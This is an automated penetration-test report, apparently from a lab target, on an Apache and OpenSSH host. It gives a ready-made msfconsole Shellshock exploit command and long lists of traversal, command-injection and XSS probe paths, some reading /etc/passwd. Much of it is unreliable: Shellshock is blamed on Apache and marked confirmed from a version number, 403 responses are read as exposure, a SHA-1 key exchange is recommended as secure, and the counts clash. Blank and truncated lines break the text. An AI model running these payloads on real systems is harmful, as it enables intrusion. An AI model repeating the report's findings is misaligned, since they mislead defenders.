

PENTEST REPORT

Reconnaissance and Vulnerability Analysis

Target: 10.129.10.68

Generated: 05/06/2026 09:08 · NmapRAG Engine

2	9	3	4	0
Open Ports	Vulnerabilities	Critical	High	Sessions

Report Contents

1	Executive Summary
2	Confirmed Attack Vectors
3	Ports and Services
4	Web Fuzzing Findings (ffuf)
5	CVE Vulnerabilities — Full Detail
6	Metasploit Exploitation Results
7	Execution Timing
8	Execution Log

1. Executive Summary

Attack Surface Summary

The attack surface is **HIGH** due to the presence of known vulnerabilities in the Apache httpd service (CVE-2014-6271) and the use of outdated and insecure algorithms in the SSH service. These vulnerabilities could allow remote code execution or unauthorized access if exploited.

Detected Services and Versions

- **TCP 80:** Apache httpd 2.4.18 ((Ubuntu))
 - **TCP 2222:** OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
-

Key Findings

1. **Apache httpd 2.4.18** is known to be vulnerable to the **Shellshock vulnerability (CVE-2014-6271)** if misconfigured.
 2. **SSH service** supports both password and publickey authentication methods.
 3. **SSH service** uses outdated algorithms such as 'diffie-hellman-group14-sha1' and 'hmac-sha1', which are known to be vulnerable.
 4. The '**ssh-rsa**' server host key algorithm is deprecated and should be replaced with more secure alternatives like '**ssh-ed25519**'.
 5. Multiple HTTP responses with status code **[403]** indicate that the server is configured to block access to certain file types, but this does not eliminate the risk of exploitation if the Apache service is misconfigured.
-

Recommended Next Steps

1. Exploit Apache httpd Shellshock vulnerability (CVE-2014-6271):

- Use Metasploit module: `exploit/multi/http/apache_mod_cgi_bash_env`
- Command: `msfconsole -x "use exploit/multi/http/apache_mod_cgi_bash_env; set RHOSTS 10.129.10.68; exploit"`
- Note: This exploit requires that the Apache server is configured to allow CGI execution and that the `mod_cgi` module is enabled.

2. Audit SSH service configuration:

- Use `ssh -Q kex` and `ssh -Q cipher` to verify the algorithms being used.
- Replace deprecated algorithms with more secure ones (e.g., `diffie-hellman-group18-sha1`, `hmac-sha2-256`, and `ssh-ed25519`).

3. Upgrade Apache httpd and OpenSSH:

- Upgrade Apache httpd to a version that is no longer vulnerable to CVE-2014-6271.
- Upgrade OpenSSH to a version that supports modern cryptographic algorithms and deprecates 'ssh-rsa'.

4. Verify and restrict access to sensitive files:

- Ensure that .htaccess and other sensitive files are not accessible via HTTP.
- Use proper file permissions and server configurations to prevent directory traversal or misconfiguration-based attacks.

2. Confirmed Attack Vectors

2 known vulnerabilities identified by automatic correlation of detected service versions against the exploit knowledge base. These vectors are **confirmed** by exact service version and do not depend on LLM analysis.

[CRITICAL] Apache httpd 2.4.18 vulnerable to Shellshock (CVE-2014-6271)

CVE-2014-6271

Port: 80 · **Service:** Apache httpd 2.4.18 ((Ubuntu))

[HIGH] SSH service uses outdated and insecure algorithms

Port: 2222 · **Service:** openssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

3. Ports and Services Detected

2 open port(s) detected on target.

Port	Service	Version	Proto	Notes
80	Apache	httpd 2.4.18 ((Ubuntu))	TCP	■ Sensitive service
2222	OpenSSH	7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)	TCP	

4. Web Fuzzing Findings (ffuf)

209 paths discovered via directory fuzzing. Findings are listed below with associated risk analysis.

Paths with identified risk

Severity	URL / Path	Status	Risk Description
High	http://10.129.10.68/server-status	403	Apache server-status exposed. Reveals active URLs, client IPs and server load.
Medium	http://10.129.10.68/.htaccessphp	403	.htaccess accessible. May reveal redirect rules and restrictions.
Medium	http://10.129.10.68/.htaccesshtml	403	.htaccess accessible. May reveal redirect rules and restrictions.
Medium	http://10.129.10.68/.htaccessold	403	.htaccess accessible. May reveal redirect rules and restrictions.
Medium	http://10.129.10.68/.htaccesszip	403	.htaccess accessible. May reveal redirect rules and restrictions.
Medium	http://10.129.10.68/.htaccessjson	403	.htaccess accessible. May reveal redirect rules and restrictions.
Medium	http://10.129.10.68/.htaccessjs	403	.htaccess accessible. May reveal redirect rules and restrictions.
Medium	http://10.129.10.68/.htaccesstxt	403	.htaccess accessible. May reveal redirect rules and restrictions.
Medium	http://10.129.10.68/.htaccessbak	403	.htaccess accessible. May reveal redirect rules and restrictions.
Low	http://10.129.10.68/cgi-bin/test.php%20.py	404	Test directory/file exposed. May contain unauthenticated functionality.
Low	http://10.129.10.68/cgi-bin/test.php%20.rb	404	Test directory/file exposed. May contain unauthenticated functionality.
Low	http://10.129.10.68/cgi-bin/test.php%20.sh	404	Test directory/file exposed. May contain unauthenticated functionality.
Low	http://10.129.10.68/cgi-bin/test.php%20.pl	404	Test directory/file exposed. May contain unauthenticated functionality.
Low	http://10.129.10.68/cgi-bin/test.php%20.cgi	404	Test directory/file exposed. May contain unauthenticated functionality.
Low	http://10.129.10.68/cgi-bin/test.php%20	404	Test directory/file exposed. May contain unauthenticated functionality.

Critical and High findings detail

[HIGH] <http://10.129.10.68/server-status>

Apache server-status exposed. Reveals active URLs, client IPs and server load.

Other discovered paths (194)

The following paths have no predefined risk pattern but should be reviewed manually for undocumented functionality.

- <http://10.129.10.68/> [200] 137 bytes
- <http://10.129.10.68/.hta> [403] 291 bytes
- <http://10.129.10.68/.htaphp> [403] 294 bytes
- <http://10.129.10.68/.htahtml> [403] 295 bytes
- <http://10.129.10.68/.htatxt> [403] 294 bytes
- <http://10.129.10.68/.htajs> [403] 293 bytes
- <http://10.129.10.68/.htajson> [403] 295 bytes
- <http://10.129.10.68/.htabak> [403] 294 bytes
- <http://10.129.10.68/.htazip> [403] 294 bytes
- <http://10.129.10.68/.htaold> [403] 294 bytes
- <http://10.129.10.68/.htpasswdphp> [403] 299 bytes
- <http://10.129.10.68/.htpasswdjs> [403] 298 bytes
- <http://10.129.10.68/.htpasswdjson> [403] 300 bytes
- <http://10.129.10.68/.htpasswdold> [403] 299 bytes
- <http://10.129.10.68/.htpasswdhtml> [403] 300 bytes
- <http://10.129.10.68/.htpasswdtxt> [403] 299 bytes
- <http://10.129.10.68/.htpasswdbak> [403] 299 bytes
- <http://10.129.10.68/.htpasswdzip> [403] 299 bytes
- <http://10.129.10.68/cgi-bin/> [403] 295 bytes
- <http://10.129.10.68/index.html> [200] 137 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/cgiwrap/%3Cfont%20color=red%3E> [404] 322 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/cgiwrap/%3Cfont%20color=red%3E.sh> [404] 325 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/cgiwrap/%3Cfont%20color=red%3E.cgi> [404] 326 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/cgiwrap/%3Cfont%20color=red%3E.pl> [404] 325 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/cgiwrap/%3Cfont%20color=red%3E.py> [404] 325 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/cgiwrap/%3Cfont%20color=red%3E.rb> [404] 325 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/post32.exe|dir%20c:\.py> [404] 313 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/post32.exe|dir%20c:\> [404] 310 bytes

- <http://10.129.10.68/cgi-bin/cgi-bin/post32.exe|dir%20c:\.sh> [404] 313 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/post32.exe|dir%20c:\.cgi> [404] 314 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/post32.exe|dir%20c:\.rb> [404] 313 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/post32.exe|dir%20c:\.pl> [404] 313 bytes
- <http://10.129.10.68/cgi-bin/perl/-e%20print%20Hello> [404] 303 bytes
- <http://10.129.10.68/cgi-bin/perl/-e%20print%20Hello.sh> [404] 306 bytes
- <http://10.129.10.68/cgi-bin/perl/-e%20print%20Hello.pl> [404] 306 bytes
- <http://10.129.10.68/cgi-bin/perl/-e%20print%20Hello.cgi> [404] 307 bytes
- <http://10.129.10.68/cgi-bin/perl/-e%20print%20Hello.rb> [404] 306 bytes
- <http://10.129.10.68/cgi-bin/perl/-e%20print%20Hello.py> [404] 306 bytes
- <http://10.129.10.68/cgi-bin/index.html%20.cgi> [404] 299 bytes
- <http://10.129.10.68/cgi-bin/index.html%20.py> [404] 298 bytes
- <http://10.129.10.68/cgi-bin/index.html%20.pl> [404] 298 bytes
- <http://10.129.10.68/cgi-bin/index.html%20.rb> [404] 298 bytes
- <http://10.129.10.68/cgi-bin/index.html%20.sh> [404] 298 bytes
- <http://10.129.10.68/cgi-bin/index.html%20> [404] 295 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/tst.bat|dir%20..\..\..\..\..\..\..\..\,> [404] 337 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/tst.bat|dir%20..\..\..\..\..\..\..\..\,sh> [404] 340 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/tst.bat|dir%20..\..\..\..\..\..\..\..\,pl> [404] 340 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/tst.bat|dir%20..\..\..\..\..\..\..\..\,cgi> [404] 341 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/tst.bat|dir%20..\..\..\..\..\..\..\..\,py> [404] 340 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/tst.bat|dir%20..\..\..\..\..\..\..\..\,rb> [404] 340 bytes
- <http://10.129.10.68/cgi-bin/../../../../../../../../boot.ini> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/../../../../../../../../boot.ini.sh> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/../../../../../../../../boot.ini.py> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/../../../../../../../../boot.ini.pl> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/../../../../../../../../boot.ini.cgi> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/../../../../../../../../boot.ini.rb> [400] 304 bytes
- http://10.129.10.68/cgi-bin/../../../../winnt/repair/sam._.sh [400] 304 bytes
- http://10.129.10.68/cgi-bin/../../../../winnt/repair/sam._ [400] 304 bytes
- http://10.129.10.68/cgi-bin/../../../../winnt/repair/sam._.rb [400] 304 bytes
- http://10.129.10.68/cgi-bin/../../../../winnt/repair/sam._.pl [400] 304 bytes
- http://10.129.10.68/cgi-bin/../../../../winnt/repair/sam._.py [400] 304 bytes
- http://10.129.10.68/cgi-bin/../../../../winnt/repair/sam._.cgi [400] 304 bytes
- http://10.129.10.68/cgi-bin/DomainFiles*/../../../../../../../../etc/passwd [400] 304 bytes

- http://10.129.10.68/cgi-bin/DomainFiles/*//.../etc/passwd.py [400] 304 bytes
- http://10.129.10.68/cgi-bin/DomainFiles/*//.../etc/passwd.rb [400] 304 bytes
- http://10.129.10.68/cgi-bin/DomainFiles/*//.../etc/passwd.sh [400] 304 bytes
- http://10.129.10.68/cgi-bin/DomainFiles/*//.../etc/passwd.pl [400] 304 bytes
- http://10.129.10.68/cgi-bin/DomainFiles/*//.../etc/passwd.cgi [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/ssi/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.py> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/ssi/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.rb> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/ssi/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/ssi/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.cgi> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/ssi/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.pl> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/ssi/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.sh> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/.../etc/passwd.py> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/.../etc/passwd.cgi> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/.../etc/passwd.rb> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/.../etc/passwd> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/.../etc/passwd.pl> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/.../etc/passwd.sh> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini.sh> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini.pl> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini.cgi> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini.py> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.cgi> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.sh> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini.rb> [400] 304 bytes

•

http://10.129.10.68/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [400] 304 bytes

- http://10.129.10.68/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.py [400] 304 bytes
- http://10.129.10.68/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.pl [400] 304 bytes
- http://10.129.10.68/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd.rb [400] 304 bytes
- http://10.129.10.68/cgi-bin/cgi-bin/alibaba.pl|dir%20..\..\..\..\..\..\, [404] 336 bytes
- http://10.129.10.68/cgi-bin/cgi-bin/alibaba.pl|dir%20..\..\..\..\..\..\,cgi [404] 340 bytes
- http://10.129.10.68/cgi-bin/cgi-bin/alibaba.pl|dir%20..\..\..\..\..\..\,sh [404] 339 bytes
- http://10.129.10.68/cgi-bin/cgi-bin/alibaba.pl|dir%20..\..\..\..\..\..\,pl [404] 339 bytes
- http://10.129.10.68/cgi-bin/cgi-bin/alibaba.pl|dir%20..\..\..\..\..\..\,py [404] 339 bytes
- http://10.129.10.68/cgi-bin/cgi-bin/alibaba.pl|dir%20..\..\..\..\..\..\,rb [404] 339 bytes
- http://10.129.10.68/cgi-bin/level/42/exec/show%20conf [404] 307 bytes
- http://10.129.10.68/cgi-bin/level/42/exec/show%20conf.sh [404] 310 bytes
- http://10.129.10.68/cgi-bin/level/42/exec/show%20conf.pl [404] 310 bytes
- http://10.129.10.68/cgi-bin/level/42/exec/show%20conf.cgi [404] 311 bytes
- http://10.129.10.68/cgi-bin/level/42/exec/show%20conf.rb [404] 310 bytes
- http://10.129.10.68/cgi-bin/level/42/exec/show%20conf.py [404] 310 bytes
- http://10.129.10.68/cgi-bin/perl/-e%20%22system('cat%20/etc/passwd');\%22.sh [404] 334 bytes
- http://10.129.10.68/cgi-bin/perl/-e%20%22system('cat%20/etc/passwd');\%22.cgi [404] 335 bytes
- http://10.129.10.68/cgi-bin/perl/-e%20%22system('cat%20/etc/passwd');\%22.rb [404] 334 bytes
- http://10.129.10.68/cgi-bin/perl/-e%20%22system('cat%20/etc/passwd');\%22 [404] 331 bytes
- http://10.129.10.68/cgi-bin/perl/-e%20%22system('cat%20/etc/passwd');\%22.pl [404] 334 bytes
- http://10.129.10.68/cgi-bin/perl/-e%20%22system('cat%20/etc/passwd');\%22.py [404] 334 bytes
- http://10.129.10.68/cgi-bin/Program%20Files/ [404] 298 bytes
- http://10.129.10.68/cgi-bin/Program%20Files/.sh [404] 301 bytes
- http://10.129.10.68/cgi-bin/Program%20Files/.cgi [404] 302 bytes
- http://10.129.10.68/cgi-bin/Program%20Files/.pl [404] 301 bytes
- http://10.129.10.68/cgi-bin/Program%20Files/.py [404] 301 bytes
- http://10.129.10.68/cgi-bin/Program%20Files/.rb [404] 301 bytes
- http://10.129.10.68/cgi-bin/^\><img%20src=\"javascript:alert(document.domain)\"> [404] 358 bytes
- http://10.129.10.68/cgi-bin/^\><img%20src=\"javascript:alert(document.domain)\">.sh [404] 361 bytes
- http://10.129.10.68/cgi-bin/^\><img%20src=\"javascript:alert(document.domain)\">.cgi [404] 362 bytes
- http://10.129.10.68/cgi-bin/^\><img%20src=\"javascript:alert(document.domain)\">.pl [404] 361 bytes

-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-

e%20127.0.0.1.sh [404] 349 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fping.exe%20127.0.0.1.py [404] 349 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%49%4E%4E%54%2F%73%79%73%74%65%6D%33%32%2Fping.exe%20127.0.0.1.rb [404] 349 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1 [404] 339 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1.sh [404] 342 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1.cgi [404] 343 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1.pl [404] 342 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1.py [404] 342 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%57%69%6E%64%6F%77%73%2Fping.exe%20127.0.0.1.rb [404] 342 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/shop.pl/page=;cat%20shop.pl| [404] 318 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/shop.pl/page=;cat%20shop.pl|.sh [404] 321 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/shop.pl/page=;cat%20shop.pl|.cgi [404] 322 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/shop.pl/page=;cat%20shop.pl|.pl [404] 321 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/shop.pl/page=;cat%20shop.pl|.rb [404] 321 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/shop.pl/page=;cat%20shop.pl|.py [404] 321 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/eshop.pl/seite=;cat%20eshop.pl|.sh [404] 324 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/eshop.pl/seite=;cat%20eshop.pl| [404] 321 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/eshop.pl/seite=;cat%20eshop.pl|.cgi [404] 325 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/eshop.pl/seite=;cat%20eshop.pl|.pl [404] 324 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/eshop.pl/seite=;cat%20eshop.pl|.rb [404] 324 bytes

- http://10.129.10.68/cgi-bin/cgi-bin/eshop.pl/seite=;cat%20eshop.pl|.py [404] 324 bytes

- http://10.129.10.68/cgi-bin/JUNK(223)<font%20size=50><script>alert('Vulnerable')</script><!--/-- [404] 372 bytes

- http://10.129.10.68/cgi-bin/JUNK(223)<font%20size=50><script>alert('Vulnerable')</script><!--/--.sh [404] 375 bytes

- [http://10.129.10.68/cgi-bin/JUNK\(223\)<font%20size=50><script>alert\('Vulnerable'\)</script><!--/--.cgi](http://10.129.10.68/cgi-bin/JUNK(223)<font%20size=50><script>alert('Vulnerable')</script><!--/--.cgi) [404] 376 bytes
- [http://10.129.10.68/cgi-bin/JUNK\(223\)<font%20size=50><script>alert\('Vulnerable'\)</script><!--/--.pl](http://10.129.10.68/cgi-bin/JUNK(223)<font%20size=50><script>alert('Vulnerable')</script><!--/--.pl) [404] 375 bytes
- [http://10.129.10.68/cgi-bin/JUNK\(223\)<font%20size=50><script>alert\('Vulnerable'\)</script><!--/--.py](http://10.129.10.68/cgi-bin/JUNK(223)<font%20size=50><script>alert('Vulnerable')</script><!--/--.py) [404] 375 bytes
- [http://10.129.10.68/cgi-bin/JUNK\(223\)<font%20size=50><script>alert\('Vulnerable'\)</script><!--/--.rb](http://10.129.10.68/cgi-bin/JUNK(223)<font%20size=50><script>alert('Vulnerable')</script><!--/--.rb) [404] 375 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/../../../../../../../../WINNT/system32/ipconfig.exe.sh> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/../../../../../../../../WINNT/system32/ipconfig.exe> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/../../../../../../../../WINNT/system32/ipconfig.exe.cgi> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/../../../../../../../../WINNT/system32/ipconfig.exe.pl> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/../../../../../../../../WINNT/system32/ipconfig.exe.rb> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/../../../../../../../../WINNT/system32/ipconfig.exe.py> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/NUL/../../../../../../../../WINNT/system32/ipconfig.exe> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/NUL/../../../../../../../../WINNT/system32/ipconfig.exe.sh> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/NUL/../../../../../../../../WINNT/system32/ipconfig.exe.pl> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/NUL/../../../../../../../../WINNT/system32/ipconfig.exe.cgi> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/NUL/../../../../../../../../WINNT/system32/ipconfig.exe.py> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/NUL/../../../../../../../../WINNT/system32/ipconfig.exe.rb> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/PRN/../../../../../../../../WINNT/system32/ipconfig.exe> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/PRN/../../../../../../../../WINNT/system32/ipconfig.exe.cgi> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/PRN/../../../../../../../../WINNT/system32/ipconfig.exe.sh> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/PRN/../../../../../../../../WINNT/system32/ipconfig.exe.pl> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/PRN/../../../../../../../../WINNT/system32/ipconfig.exe.py> [400] 304 bytes
- <http://10.129.10.68/cgi-bin/cgi-bin/PRN/../../../../../../../../WINNT/system32/ipconfig.exe.rb> [400] 304 bytes

5. CVE Vulnerabilities — Full Detail

7 CVE(s) identified across exposed services (3 from NVD · 0 from knowledge base).

Severity	Count	Typical Impact
CRITICAL	2	Remote code execution, full system compromise
HIGH	3	Privilege escalation, unauthorised data access
MEDIUM	2	Denial of service, partial information disclosure

Port 80 — Apache httpd 2.4.18 ((Ubuntu))

[CRITICAL] CVE-2019-10082

9.1

In Apache HTTP Server 2.4.18-2.4.39, using fuzzed network input, the http/2 session handling could be made to read memory after being freed, during connection shutdown.

Published	2019-09-26
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Attack Vector	NETWORK
CWE	CWE-416

Exploitation context:

Remotely exploitable — no physical access or local presence required.

References:

<httpd.apache.org>

<lists.apache.org>

<lists.apache.org>

[NVD](#)

[HIGH] CVE-2016-4979**7.5**

The Apache HTTP Server 2.4.18 through 2.4.20, when mod_http2 and mod_ssl are enabled, does not properly recognize the "SSLVerifyClient require" directive for HTTP/2 request authorization, which allows remote attackers to bypass intended access restrictions by leveraging the ability to send multiple requests over a single connection and aborting a renegotiation.

Published	2016-07-06
CVSS Vector	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack Vector	NETWORK
CWE	CWE-284

Exploitation context:

Remotely exploitable — no physical access or local presence required.

References:

httpd.apache.org
packetstormsecurity.com
seclists.org
NVD

[HIGH] CVE-2018-1333**7.5**

By specially crafting HTTP/2 requests, workers would be allocated 60 seconds longer than necessary, leading to worker exhaustion and a denial of service. Fixed in Apache HTTP Server 2.4.34 (Affected 2.4.18-2.4.30,2.4.33).

Published	2018-06-18
CVSS Vector	CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector	NETWORK
CWE	CWE-400

Exploitation context:

Remotely exploitable — no physical access or local presence required. DoS: may disrupt the service.

References:

securitytracker.com
Red Hat
Red Hat
NVD

[MEDIUM] CVE-2016-1546**5.9**

The Apache HTTP Server 2.4.17 and 2.4.18, when mod_http2 is enabled, does not limit the number of simultaneous stream workers for a single HTTP/2 connection, which allows remote attackers to cause a denial of service (stream-processing outage) via modified flow-control windows.

Published	2016-07-06
CVSS Vector	CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector	NETWORK
CWE	CWE-399

Exploitation context:

Remotely exploitable — no physical access or local presence required. DoS: may disrupt the service.

References:

httpd.apache.org
svn.apache.org
apache.org
NVD

Port 2222 — OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

[HIGH] CVE-2015-8325**7.8**

The do_setup_env function in session.c in sshd in OpenSSH through 7.2p2, when the UseLogin feature is enabled and PAM is configured to read .pam_environment files in user home directories, allows local users to gain privileges by triggering a crafted environment for the /bin/login program, as demonstrated by an LD_PRELOAD environment variable.

Published	2016-05-01
CVSS Vector	CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector	LOCAL
CWE	CWE-264, CWE-1262

Exploitation context:

Requires local access (active session or code execution).

References:

Red Hat
Red Hat
Debian Security
NVD

[MEDIUM] CVE-2016-3115**6.4**

Multiple CRLF injection vulnerabilities in session.c in sshd in OpenSSH before 7.2p2 allow remote authenticated users to bypass intended shell-command restrictions via crafted X11 forwarding data, related to the (1) do_authenticated1 and (2) session_x11_req functions.

Published	2016-03-22
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector	NETWORK
CWE	NVD-CWE-Other, CWE-93

Exploitation context:

Remotely exploitable — no physical access or local presence required.

References:

cvsweb.openbsd.org
cvsweb.openbsd.org
lists.fedoraproject.org
NVD

Port ? — nse-finding

[CRITICAL] CVE-2014-6271**9.8**

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.

Published 2014-09-24**CVSS Vector** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H**Attack Vector** NETWORK**CWE** CWE-78, CWE-78**Exploitation context:**

Remotely exploitable — no physical access or local presence required. OS Command Injection: possible OS command execution. OS Command Injection: possible OS command execution. RCE confirmed: search Exploit-DB or GitHub for PoC. Metasploit: exploit/multi/http/apache_mod_cgi_bash_env_exec Exploit-DB Difficulty: easy. Shellshock: RCE via CGI on servers with vulnerable Bash.

References:advisories.mageia.orgarchives.neohapsis.comjvn.jp[NVD](#)

6. Metasploit Exploitation Results

2 module(s) executed · 0 vulnerable · 0 session(s) opened · 1 error(s)

Execution Plan

#	CVE	CVSS	Module	Result
1		7.5	exploit/multi/http/apache_mod_cgi_bash_env_exe	ERROR

7. Execution Timing

Total scan duration: **14m 14s** (854.3s)

Phase	Duration	% of Total
